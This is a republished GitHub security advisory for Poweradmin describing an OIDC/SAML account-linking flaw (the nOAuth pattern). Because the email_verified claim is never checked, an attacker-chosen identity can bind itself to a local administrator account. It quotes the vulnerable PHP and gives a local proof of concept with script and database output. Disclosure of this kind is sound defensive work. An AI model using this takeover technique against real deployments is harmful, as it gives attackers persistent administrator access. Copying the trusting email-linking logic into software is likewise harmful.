GHSA-H2H8-XPRP-W5CC
OIDC/SAML account linking trusts an unverified email claim, allowing takeover of a local administrator account (nOAuth pattern)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-H2H8-XPRP-W5CC divulgada · CVSS 8.8 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
When a user authenticates through OIDC or SAML, `UserProvisioningService::provisionUser()` falls back to matching on the email address asserted by the identity provider if no subject link already exists. The OpenID Connect `email_verified` claim is never read anywhere in the codebase, `link_by_email` is enabled by default for both providers, and the account lookup excludes neither local password-authenticated accounts nor accounts holding `user_is_ueberuser`. Independently reproduced against commit `d814d61`: an OIDC assertion carrying an attacker-controlled subject and the local administrator's email address returned the administrator's user ID from `provisionUser()`, and the resulting subject-to-account binding was persisted to `oidc_user_links`; no separate attacker account was created. This is the publicly documented "nOAuth" vulnerability class. Affects `<= 4.4.0`; unpatched.
Details
Vulnerable linking branch, `UserProvisioningService::provisionUser()`:
// Try to find by email if email linking is enabled
$authConfig = $this->getAuthMethodConfig($authMethod);
if (($authConfig['link_by_email'] ?? true) && !empty($userInfo->getEmail())) {
$existingUserId = $this->findUserByEmail($userInfo->getEmail()); // <-- unverified IdP claim
if ($existingUserId) {
if ($authMethod === self::AUTH_METHOD_SAML) {
$this->linkSamlToExistingUser($existingUserId, $userInfo, $providerId);
} else {
$this->linkOidcToExistingUser($existingUserId, $userInfo, $providerId);
}
$this->updateExistingUser($existingUserId, $userInfo, $authMethod);
return $existingUserId; // <-- becomes the authenticated session user
}
}Three properties combine into an authentication bypass:
- The email claim is never verified. OpenID Connect defines `email_verified` specifically so relying parties can tell whether the provider has confirmed the address, and the specification warns that `email` is not a suitable unique identifier. The string `email_verified` does not appear anywhere in `lib/`. `OidcUserInfo::isValid()` requires only a non-empty username and subject.
- Linking is enabled by default, and the fallback is permissive. `config/settings.defaults.php` sets `link_by_email => true` for both OIDC and SAML; the code reads it as `($authConfig['link_by_email'] ?? true)`, so even a provider entry that omits the key gets the linking behavior.
- Any active account is a valid link target, including a local password-authenticated superuser. `findUserByEmail()` applies no filter on `auth_method`, on the assigned permission template, or on whether the account is administrative:
private function findUserByEmail(string $email): ?int
{
$stmt = $this->db->prepare("SELECT id FROM users WHERE email = ? AND active = 1");
$stmt->execute([$email]);
...
}Persistence. `linkOidcToExistingUser()` inserts a row into `oidc_user_links` binding the attacker-chosen subject to the victim's `user_id`. On every subsequent login, `findUserByOidcSubject()` matches that link before the email branch is even reached, so the takeover survives correcting the email attribute at the provider and survives subsequently disabling `link_by_email`.
PoC
All testing below was performed locally, invoking the actual application source directly via the PHP CLI against a self-hosted SQLite database built from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment, and not any real identity provider; the `OidcUserInfo` object is constructed directly in the test script rather than obtained via a live OIDC login flow, since standing up a real IdP was outside the scope of this local test).
Direct invocation of the real production entry point, `UserProvisioningService::provisionUser()` (the actual, unmodified application code), against a local superuser account seeded in the database beforehand:
$ sqlite3 -header pa.db "SELECT id,username,email,perm_templ,auth_method,active FROM users WHERE id=1;"id|username|email|perm_templ|auth_method|active
1|admin|admin@tenant.test|1|sql|1$ sqlite3 pa.db "SELECT count(*) FROM oidc_user_links WHERE oidc_subject='attacker-controlled-subject-456';"0// poc_link2.php
$ui = new OidcUserInfo(
"attacker2", "admin@tenant.test", "Att", "Acker", "Att Acker", [],
"poc-provider2", "attacker-controlled-subject-456"
);
var_dump($ui->isValid());
$id = $svc->provisionUser($ui, "poc-provider2");
var_dump($id);$ php poc_link2.phpbool(true)
int(1)`provisionUser()` returned `1`, the id of the pre-existing local `admin` account, for an assertion carrying a brand-new, attacker-chosen subject.
Confirmed persistent binding, and that no separate attacker account was created:
$ sqlite3 -header pa.db "SELECT l.user_id, u.username, u.perm_templ, u.auth_method, l.provider_id, l.oidc_subject, l.email \
FROM oidc_user_links l JOIN users u ON u.id=l.user_id \
WHERE l.oidc_subject='attacker-controlled-subject-456';"user_id|username|perm_templ|auth_method|provider_id|oidc_subject|email
1|admin|1|sql|poc-provider2|attacker-controlled-subject-456|admin@tenant.test$ sqlite3 pa.db "SELECT id,username FROM users WHERE username='attacker2';"(empty)Impact
An attacker who can cause the configured identity provider to assert an arbitrary `email` value, while holding only their own ordinary identity at that provider, is authenticated to Poweradmin as whichever local account carries that address; a local Poweradmin administrator's address yields a superuser session. Realistic preconditions, in decreasing likelihood: the provider allows self-service editing of the email/UPN attribute (common in Keycloak and in Active Directory deployments with self-service profile editing); the provider is a multi-tenant endpoint (e.g., Entra ID/Azure AD against `/common/`); the provider permits self-registration without email verification. The compromise is persistent via the `oidc_user_links` row and survives both correcting the email at the provider and later disabling `link_by_email`. A secondary consequence: `updateExistingUser()` overwrites the victim account's `fullname`/`email` with the attacker's asserted values, and those fields become read-only in the UI for IdP-managed accounts, making the takeover harder for an operator to notice or undo.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 4.2.6, 4.3.5, 4.4.1 | — | — |
4.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-h2h8-xprp-w5ccLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
